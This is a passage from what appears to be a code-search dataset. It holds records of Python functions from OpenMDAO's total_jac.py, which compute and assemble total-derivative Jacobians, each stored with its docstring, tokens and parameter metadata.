"identifier": "names",
"type": null,
"docstring": null,
"docstring_tokens": ... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _get_tuple_map | <not_specific> | def _get_tuple_map(self, names, vois, abs2meta):
"""
Create a dict that maps var name to metadata tuple.
The tuple has the form (jacobian row/column slice, indices, distrib)
Parameters
----------
names : iter of str
Names of the variables making up the rows ... |
Create a dict that maps var name to metadata tuple.
The tuple has the form (jacobian row/column slice, indices, distrib)
Parameters
----------
names : iter of str
Names of the variables making up the rows or columns of the jacobian.
vois : dict
... | Create a dict that maps var name to metadata tuple.
The tuple has the form (jacobian row/column slice, indices, distrib)
Parameters
names : iter of str
Names of the variables making up the rows or columns of the jacobian.
vois : dict
Mapping of variable of interest (desvar or response) name to its metadata.
abs2meta ... | [
"Create",
"a",
"dict",
"that",
"maps",
"var",
"name",
"to",
"metadata",
"tuple",
".",
"The",
"tuple",
"has",
"the",
"form",
"(",
"jacobian",
"row",
"/",
"column",
"slice",
"indices",
"distrib",
")",
"Parameters",
"names",
":",
"iter",
"of",
"str",
"Names... | def _get_tuple_map(self, names, vois, abs2meta):
idx_map = {}
start = 0
end = 0
for name in names:
if name in vois:
size = vois[name]['size']
indices = vois[name]['indices']
else:
size = abs2meta[name]['global_size']... | [
"def",
"_get_tuple_map",
"(",
"self",
",",
"names",
",",
"vois",
",",
"abs2meta",
")",
":",
"idx_map",
"=",
"{",
"}",
"start",
"=",
"0",
"end",
"=",
"0",
"for",
"name",
"in",
"names",
":",
"if",
"name",
"in",
"vois",
":",
"size",
"=",
"vois",
"["... | Create a dict that maps var name to metadata tuple. | [
"Create",
"a",
"dict",
"that",
"maps",
"var",
"name",
"to",
"metadata",
"tuple",
"."
] | [
"\"\"\"\n Create a dict that maps var name to metadata tuple.\n\n The tuple has the form (jacobian row/column slice, indices, distrib)\n\n Parameters\n ----------\n names : iter of str\n Names of the variables making up the rows or columns of the jacobian.\n vois... | [
{
"param": "self",
"type": null
},
{
"param": "names",
"type": null
},
{
"param": "vois",
"type": null
},
{
"param": "abs2meta",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "names",
"type": null,
"docstring": null,
"docstring_tokens": ... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | simul_coloring_iter | null | def simul_coloring_iter(self, imeta, mode):
"""
Iterate over index lists for the simul coloring case.
Parameters
----------
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Yields
------
... |
Iterate over index lists for the simul coloring case.
Parameters
----------
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Yields
------
list of int or int
Current indices ... | Iterate over index lists for the simul coloring case.
Parameters
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Yields
list of int or int
Current indices or current index.
method
Input setter method.
method
Jac setter method. | [
"Iterate",
"over",
"index",
"lists",
"for",
"the",
"simul",
"coloring",
"case",
".",
"Parameters",
"imeta",
":",
"dict",
"Dictionary",
"of",
"iteration",
"metadata",
".",
"mode",
":",
"str",
"Direction",
"of",
"derivative",
"solution",
".",
"Yields",
"list",
... | def simul_coloring_iter(self, imeta, mode):
coloring_info = imeta['coloring']
both = 'fwd' in coloring_info and 'rev' in coloring_info
input_setter = self.simul_coloring_input_setter
jac_setter = self.simul_coloring_jac_setter
for color, ilist in enumerate(coloring_info[mode][0])... | [
"def",
"simul_coloring_iter",
"(",
"self",
",",
"imeta",
",",
"mode",
")",
":",
"coloring_info",
"=",
"imeta",
"[",
"'coloring'",
"]",
"both",
"=",
"'fwd'",
"in",
"coloring_info",
"and",
"'rev'",
"in",
"coloring_info",
"input_setter",
"=",
"self",
".",
"simu... | Iterate over index lists for the simul coloring case. | [
"Iterate",
"over",
"index",
"lists",
"for",
"the",
"simul",
"coloring",
"case",
"."
] | [
"\"\"\"\n Iterate over index lists for the simul coloring case.\n\n Parameters\n ----------\n imeta : dict\n Dictionary of iteration metadata.\n mode : str\n Direction of derivative solution.\n\n Yields\n ------\n list of int or int\n ... | [
{
"param": "self",
"type": null
},
{
"param": "imeta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "imeta",
"type": null,
"docstring": null,
"docstring_tokens": ... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | par_deriv_matmat_iter | null | def par_deriv_matmat_iter(self, imeta, mode):
"""
Iterate over index lists for the combined parallel deriv matrix matrix case.
Parameters
----------
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
... |
Iterate over index lists for the combined parallel deriv matrix matrix case.
Parameters
----------
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Yields
------
list of ndarray of int
... | Iterate over index lists for the combined parallel deriv matrix matrix case.
Parameters
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Yields
list of ndarray of int
Current indices.
method
Input setter method.
method
Jac setter method. | [
"Iterate",
"over",
"index",
"lists",
"for",
"the",
"combined",
"parallel",
"deriv",
"matrix",
"matrix",
"case",
".",
"Parameters",
"imeta",
":",
"dict",
"Dictionary",
"of",
"iteration",
"metadata",
".",
"mode",
":",
"str",
"Direction",
"of",
"derivative",
"sol... | def par_deriv_matmat_iter(self, imeta, mode):
idxs = imeta['idx_list']
yield idxs, self.par_deriv_matmat_input_setter, self.par_deriv_matmat_jac_setter, None | [
"def",
"par_deriv_matmat_iter",
"(",
"self",
",",
"imeta",
",",
"mode",
")",
":",
"idxs",
"=",
"imeta",
"[",
"'idx_list'",
"]",
"yield",
"idxs",
",",
"self",
".",
"par_deriv_matmat_input_setter",
",",
"self",
".",
"par_deriv_matmat_jac_setter",
",",
"None"
] | Iterate over index lists for the combined parallel deriv matrix matrix case. | [
"Iterate",
"over",
"index",
"lists",
"for",
"the",
"combined",
"parallel",
"deriv",
"matrix",
"matrix",
"case",
"."
] | [
"\"\"\"\n Iterate over index lists for the combined parallel deriv matrix matrix case.\n\n Parameters\n ----------\n imeta : dict\n Dictionary of iteration metadata.\n mode : str\n Direction of derivative solution.\n\n Yields\n ------\n l... | [
{
"param": "self",
"type": null
},
{
"param": "imeta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "imeta",
"type": null,
"docstring": null,
"docstring_tokens": ... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | simul_coloring_input_setter | <not_specific> | def simul_coloring_input_setter(self, inds, itermeta, mode):
"""
Set -1's into the input vector in the simul coloring case.
Parameters
----------
inds : list of int
Total jacobian row or column indices.
itermeta : dict
Dictionary of iteration meta... |
Set -1's into the input vector in the simul coloring case.
Parameters
----------
inds : list of int
Total jacobian row or column indices.
itermeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
... | 1's into the input vector in the simul coloring case.
Parameters
inds : list of int
Total jacobian row or column indices.
itermeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Returns
set
Set of relevant system names.
tuple of str or None
'linear' or None if linear solve cach... | [
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"simul",
"coloring",
"case",
".",
"Parameters",
"inds",
":",
"list",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"itermeta",
":",
"dict",
"Dictionary",
"of",
"iter... | def simul_coloring_input_setter(self, inds, itermeta, mode):
if itermeta is None:
return self.single_input_setter(inds[0], None, mode)
self._zero_vecs('linear', mode)
self.input_vec[mode]['linear']._data[itermeta['local_in_idxs']] = -1.0
if itermeta['cache_lin_solve']:
... | [
"def",
"simul_coloring_input_setter",
"(",
"self",
",",
"inds",
",",
"itermeta",
",",
"mode",
")",
":",
"if",
"itermeta",
"is",
"None",
":",
"return",
"self",
".",
"single_input_setter",
"(",
"inds",
"[",
"0",
"]",
",",
"None",
",",
"mode",
")",
"self",
... | Set -1's into the input vector in the simul coloring case. | [
"Set",
"-",
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"simul",
"coloring",
"case",
"."
] | [
"\"\"\"\n Set -1's into the input vector in the simul coloring case.\n\n Parameters\n ----------\n inds : list of int\n Total jacobian row or column indices.\n itermeta : dict\n Dictionary of iteration metadata.\n mode : str\n Direction of d... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "itermeta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | par_deriv_input_setter | <not_specific> | def par_deriv_input_setter(self, inds, imeta, mode):
"""
Set -1's into the input vector in the parallel derivative case.
Parameters
----------
inds : tuple of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.... |
Set -1's into the input vector in the parallel derivative case.
Parameters
----------
inds : tuple of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution... | 1's into the input vector in the parallel derivative case.
Parameters
inds : tuple of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Returns
set
Set of relevant system names.
list of str or None
List of vec_names or None if linear... | [
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"parallel",
"derivative",
"case",
".",
"Parameters",
"inds",
":",
"tuple",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"imeta",
":",
"dict",
"Dictionary",
"of",
"i... | def par_deriv_input_setter(self, inds, imeta, mode):
all_rel_systems = set()
vec_names = set()
for i in inds:
rel_systems, vnames, _ = self.single_input_setter(i, imeta, mode)
_update_rel_systems(all_rel_systems, rel_systems)
if vnames is not None:
... | [
"def",
"par_deriv_input_setter",
"(",
"self",
",",
"inds",
",",
"imeta",
",",
"mode",
")",
":",
"all_rel_systems",
"=",
"set",
"(",
")",
"vec_names",
"=",
"set",
"(",
")",
"for",
"i",
"in",
"inds",
":",
"rel_systems",
",",
"vnames",
",",
"_",
"=",
"s... | Set -1's into the input vector in the parallel derivative case. | [
"Set",
"-",
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"parallel",
"derivative",
"case",
"."
] | [
"\"\"\"\n Set -1's into the input vector in the parallel derivative case.\n\n Parameters\n ----------\n inds : tuple of int\n Total jacobian row or column indices.\n imeta : dict\n Dictionary of iteration metadata.\n mode : str\n Direction o... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "imeta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | matmat_input_setter | <not_specific> | def matmat_input_setter(self, inds, imeta, mode):
"""
Set -1's into the input vector in the matrix-matrix case.
Parameters
----------
inds : ndarray of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
... |
Set -1's into the input vector in the matrix-matrix case.
Parameters
----------
inds : ndarray of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
... | 1's into the input vector in the matrix-matrix case.
Parameters
inds : ndarray of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Returns
set
Set of relevant system names.
tuple of str or None
(vec_name,) or None if linear solve ca... | [
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"matrix",
"-",
"matrix",
"case",
".",
"Parameters",
"inds",
":",
"ndarray",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"imeta",
":",
"dict",
"Dictionary",
"of",
... | def matmat_input_setter(self, inds, imeta, mode):
input_vec = self.input_vec[mode]
in_idx_map = self.in_idx_map[mode]
in_loc_idxs = self.in_loc_idxs[mode]
vec_name, rel_systems, cache_lin_sol = in_idx_map[inds[0]]
self._zero_vecs(vec_name, mode)
dinputs = input_vec[vec_na... | [
"def",
"matmat_input_setter",
"(",
"self",
",",
"inds",
",",
"imeta",
",",
"mode",
")",
":",
"input_vec",
"=",
"self",
".",
"input_vec",
"[",
"mode",
"]",
"in_idx_map",
"=",
"self",
".",
"in_idx_map",
"[",
"mode",
"]",
"in_loc_idxs",
"=",
"self",
".",
... | Set -1's into the input vector in the matrix-matrix case. | [
"Set",
"-",
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"matrix",
"-",
"matrix",
"case",
"."
] | [
"\"\"\"\n Set -1's into the input vector in the matrix-matrix case.\n\n Parameters\n ----------\n inds : ndarray of int\n Total jacobian row or column indices.\n imeta : dict\n Dictionary of iteration metadata.\n mode : str\n Direction of de... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "imeta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | par_deriv_matmat_input_setter | <not_specific> | def par_deriv_matmat_input_setter(self, inds, imeta, mode):
"""
Set -1's into the input vector in the matrix matrix with parallel deriv case.
Parameters
----------
inds : list of ndarray of int
Total jacobian row or column indices.
imeta : dict
Di... |
Set -1's into the input vector in the matrix matrix with parallel deriv case.
Parameters
----------
inds : list of ndarray of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
mode : str
Directio... | 1's into the input vector in the matrix matrix with parallel deriv case.
Parameters
inds : list of ndarray of int
Total jacobian row or column indices.
imeta : dict
Dictionary of iteration metadata.
mode : str
Direction of derivative solution.
Returns
set
Set of relevant system names.
list of str or None
vec_names o... | [
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"matrix",
"matrix",
"with",
"parallel",
"deriv",
"case",
".",
"Parameters",
"inds",
":",
"list",
"of",
"ndarray",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"imet... | def par_deriv_matmat_input_setter(self, inds, imeta, mode):
input_vec = self.input_vec[mode]
in_idx_map = self.in_idx_map[mode]
in_loc_idxs = self.in_loc_idxs[mode]
all_rel_systems = set()
cache = False
vec_names = set()
for matmat_idxs in inds:
vec_na... | [
"def",
"par_deriv_matmat_input_setter",
"(",
"self",
",",
"inds",
",",
"imeta",
",",
"mode",
")",
":",
"input_vec",
"=",
"self",
".",
"input_vec",
"[",
"mode",
"]",
"in_idx_map",
"=",
"self",
".",
"in_idx_map",
"[",
"mode",
"]",
"in_loc_idxs",
"=",
"self",... | Set -1's into the input vector in the matrix matrix with parallel deriv case. | [
"Set",
"-",
"1",
"'",
"s",
"into",
"the",
"input",
"vector",
"in",
"the",
"matrix",
"matrix",
"with",
"parallel",
"deriv",
"case",
"."
] | [
"\"\"\"\n Set -1's into the input vector in the matrix matrix with parallel deriv case.\n\n Parameters\n ----------\n inds : list of ndarray of int\n Total jacobian row or column indices.\n imeta : dict\n Dictionary of iteration metadata.\n mode : str\... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "imeta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | single_jac_setter | null | def single_jac_setter(self, i, mode):
"""
Set the appropriate part of the total jacobian for a single input index.
Parameters
----------
i : int
Total jacobian row or column index.
mode : str
Direction of derivative solution.
"""
v... |
Set the appropriate part of the total jacobian for a single input index.
Parameters
----------
i : int
Total jacobian row or column index.
mode : str
Direction of derivative solution.
| Set the appropriate part of the total jacobian for a single input index.
Parameters
i : int
Total jacobian row or column index.
mode : str
Direction of derivative solution. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"a",
"single",
"input",
"index",
".",
"Parameters",
"i",
":",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"index",
".",
"mode",
":",
"str",
"Direction",
"of",
"derivative"... | def single_jac_setter(self, i, mode):
vecname, _, _ = self.in_idx_map[mode][i]
scatter = self.jac_scatters[mode][vecname]
if scatter is None:
deriv_idxs, jac_idxs = self.solvec_map[mode]
deriv_val = self.output_vec[mode][vecname]._data
if mode == 'fwd':
... | [
"def",
"single_jac_setter",
"(",
"self",
",",
"i",
",",
"mode",
")",
":",
"vecname",
",",
"_",
",",
"_",
"=",
"self",
".",
"in_idx_map",
"[",
"mode",
"]",
"[",
"i",
"]",
"scatter",
"=",
"self",
".",
"jac_scatters",
"[",
"mode",
"]",
"[",
"vecname",... | Set the appropriate part of the total jacobian for a single input index. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"a",
"single",
"input",
"index",
"."
] | [
"\"\"\"\n Set the appropriate part of the total jacobian for a single input index.\n\n Parameters\n ----------\n i : int\n Total jacobian row or column index.\n mode : str\n Direction of derivative solution.\n \"\"\"",
"# DefaultVector",
"# rev",
... | [
{
"param": "self",
"type": null
},
{
"param": "i",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "i",
"type": null,
"docstring": null,
"docstring_tokens": [],
... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | par_deriv_jac_setter | null | def par_deriv_jac_setter(self, inds, mode):
"""
Set the appropriate part of the total jacobian for multiple input indices.
Parameters
----------
inds : tuple of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution.... |
Set the appropriate part of the total jacobian for multiple input indices.
Parameters
----------
inds : tuple of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution.
| Set the appropriate part of the total jacobian for multiple input indices.
Parameters
inds : tuple of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"multiple",
"input",
"indices",
".",
"Parameters",
"inds",
":",
"tuple",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"mode",
":",
"str",
"Direction",
... | def par_deriv_jac_setter(self, inds, mode):
for i in inds:
self.single_jac_setter(i, mode) | [
"def",
"par_deriv_jac_setter",
"(",
"self",
",",
"inds",
",",
"mode",
")",
":",
"for",
"i",
"in",
"inds",
":",
"self",
".",
"single_jac_setter",
"(",
"i",
",",
"mode",
")"
] | Set the appropriate part of the total jacobian for multiple input indices. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"multiple",
"input",
"indices",
"."
] | [
"\"\"\"\n Set the appropriate part of the total jacobian for multiple input indices.\n\n Parameters\n ----------\n inds : tuple of int\n Total jacobian row or column indices.\n mode : str\n Direction of derivative solution.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | simul_coloring_jac_setter | null | def simul_coloring_jac_setter(self, inds, mode):
"""
Set the appropriate part of the total jacobian for simul coloring input indices.
Parameters
----------
inds : list of int
Total jacobian row or column indices.
mode : str
Direction of derivative... |
Set the appropriate part of the total jacobian for simul coloring input indices.
Parameters
----------
inds : list of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution.
| Set the appropriate part of the total jacobian for simul coloring input indices.
Parameters
inds : list of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"simul",
"coloring",
"input",
"indices",
".",
"Parameters",
"inds",
":",
"list",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"mode",
":",
"str",
"Dir... | def simul_coloring_jac_setter(self, inds, mode):
row_col_map = self.simul_coloring[mode][1]
fwd = mode == 'fwd'
J = self.J
deriv_idxs, _ = self.solvec_map[mode]
scatter = self.jac_scatters[mode]['linear']
if scatter is None:
deriv_val = self.output_vec[mode]['... | [
"def",
"simul_coloring_jac_setter",
"(",
"self",
",",
"inds",
",",
"mode",
")",
":",
"row_col_map",
"=",
"self",
".",
"simul_coloring",
"[",
"mode",
"]",
"[",
"1",
"]",
"fwd",
"=",
"mode",
"==",
"'fwd'",
"J",
"=",
"self",
".",
"J",
"deriv_idxs",
",",
... | Set the appropriate part of the total jacobian for simul coloring input indices. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"simul",
"coloring",
"input",
"indices",
"."
] | [
"\"\"\"\n Set the appropriate part of the total jacobian for simul coloring input indices.\n\n Parameters\n ----------\n inds : list of int\n Total jacobian row or column indices.\n mode : str\n Direction of derivative solution.\n \"\"\"",
"# because... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | matmat_jac_setter | null | def matmat_jac_setter(self, inds, mode):
"""
Set the appropriate part of the total jacobian for matrix matrix input indices.
Parameters
----------
inds : ndarray of int
Total jacobian row or column indices.
mode : str
Direction of derivative solut... |
Set the appropriate part of the total jacobian for matrix matrix input indices.
Parameters
----------
inds : ndarray of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution. (ignored)
| Set the appropriate part of the total jacobian for matrix matrix input indices.
Parameters
inds : ndarray of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution. (ignored) | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"matrix",
"matrix",
"input",
"indices",
".",
"Parameters",
"inds",
":",
"ndarray",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".",
"mode",
":",
"str",
"D... | def matmat_jac_setter(self, inds, mode):
vecname, _, _ = self.in_idx_map[mode][inds[0]]
ncol = self.output_vec[mode][vecname]._ncol
nproc = self.comm.size
fwd = self.mode == 'fwd'
J = self.J
out_meta = self.out_meta[mode]
deriv_val = self.output_vec[mode][vecname]... | [
"def",
"matmat_jac_setter",
"(",
"self",
",",
"inds",
",",
"mode",
")",
":",
"vecname",
",",
"_",
",",
"_",
"=",
"self",
".",
"in_idx_map",
"[",
"mode",
"]",
"[",
"inds",
"[",
"0",
"]",
"]",
"ncol",
"=",
"self",
".",
"output_vec",
"[",
"mode",
"]... | Set the appropriate part of the total jacobian for matrix matrix input indices. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"matrix",
"matrix",
"input",
"indices",
"."
] | [
"\"\"\"\n Set the appropriate part of the total jacobian for matrix matrix input indices.\n\n Parameters\n ----------\n inds : ndarray of int\n Total jacobian row or column indices.\n mode : str\n Direction of derivative solution. (ignored)\n \"\"\"",
... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | par_deriv_matmat_jac_setter | null | def par_deriv_matmat_jac_setter(self, inds, mode):
"""
Set the appropriate part of the total jacobian for par_deriv matrix matrix input indices.
Parameters
----------
inds : list of ndarray of int
Total jacobian row or column indices.
mode : str
D... |
Set the appropriate part of the total jacobian for par_deriv matrix matrix input indices.
Parameters
----------
inds : list of ndarray of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution. (ignored)
| Set the appropriate part of the total jacobian for par_deriv matrix matrix input indices.
Parameters
inds : list of ndarray of int
Total jacobian row or column indices.
mode : str
Direction of derivative solution. (ignored) | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"par_deriv",
"matrix",
"matrix",
"input",
"indices",
".",
"Parameters",
"inds",
":",
"list",
"of",
"ndarray",
"of",
"int",
"Total",
"jacobian",
"row",
"or",
"column",
"indices",
".... | def par_deriv_matmat_jac_setter(self, inds, mode):
for matmat_idxs in inds:
self.matmat_jac_setter(matmat_idxs, mode) | [
"def",
"par_deriv_matmat_jac_setter",
"(",
"self",
",",
"inds",
",",
"mode",
")",
":",
"for",
"matmat_idxs",
"in",
"inds",
":",
"self",
".",
"matmat_jac_setter",
"(",
"matmat_idxs",
",",
"mode",
")"
] | Set the appropriate part of the total jacobian for par_deriv matrix matrix input indices. | [
"Set",
"the",
"appropriate",
"part",
"of",
"the",
"total",
"jacobian",
"for",
"par_deriv",
"matrix",
"matrix",
"input",
"indices",
"."
] | [
"\"\"\"\n Set the appropriate part of the total jacobian for par_deriv matrix matrix input indices.\n\n Parameters\n ----------\n inds : list of ndarray of int\n Total jacobian row or column indices.\n mode : str\n Direction of derivative solution. (ignored)\... | [
{
"param": "self",
"type": null
},
{
"param": "inds",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "inds",
"type": null,
"docstring": null,
"docstring_tokens": [... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | compute_totals | <not_specific> | def compute_totals(self):
"""
Compute derivatives of desired quantities with respect to desired inputs.
Returns
-------
derivs : object
Derivatives in form requested by 'return_format'.
"""
debug_print = self.debug_print
par_deriv = self.par_d... |
Compute derivatives of desired quantities with respect to desired inputs.
Returns
-------
derivs : object
Derivatives in form requested by 'return_format'.
| Compute derivatives of desired quantities with respect to desired inputs.
Returns
derivs : object
Derivatives in form requested by 'return_format'. | [
"Compute",
"derivatives",
"of",
"desired",
"quantities",
"with",
"respect",
"to",
"desired",
"inputs",
".",
"Returns",
"derivs",
":",
"object",
"Derivatives",
"in",
"form",
"requested",
"by",
"'",
"return_format",
"'",
"."
] | def compute_totals(self):
debug_print = self.debug_print
par_deriv = self.par_deriv
has_lin_cons = self.has_lin_cons
model = self.model
vec_dinput = model._vectors['input']
vec_doutput = model._vectors['output']
vec_dresid = model._vectors['residual']
for ... | [
"def",
"compute_totals",
"(",
"self",
")",
":",
"debug_print",
"=",
"self",
".",
"debug_print",
"par_deriv",
"=",
"self",
".",
"par_deriv",
"has_lin_cons",
"=",
"self",
".",
"has_lin_cons",
"model",
"=",
"self",
".",
"model",
"vec_dinput",
"=",
"model",
".",... | Compute derivatives of desired quantities with respect to desired inputs. | [
"Compute",
"derivatives",
"of",
"desired",
"quantities",
"with",
"respect",
"to",
"desired",
"inputs",
"."
] | [
"\"\"\"\n Compute derivatives of desired quantities with respect to desired inputs.\n\n Returns\n -------\n derivs : object\n Derivatives in form requested by 'return_format'.\n \"\"\"",
"# Prepare model for calculation by cleaning out the derivatives",
"# vectors."... | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | compute_totals_approx | <not_specific> | def compute_totals_approx(self, initialize=False):
"""
Compute derivatives of desired quantities with respect to desired inputs.
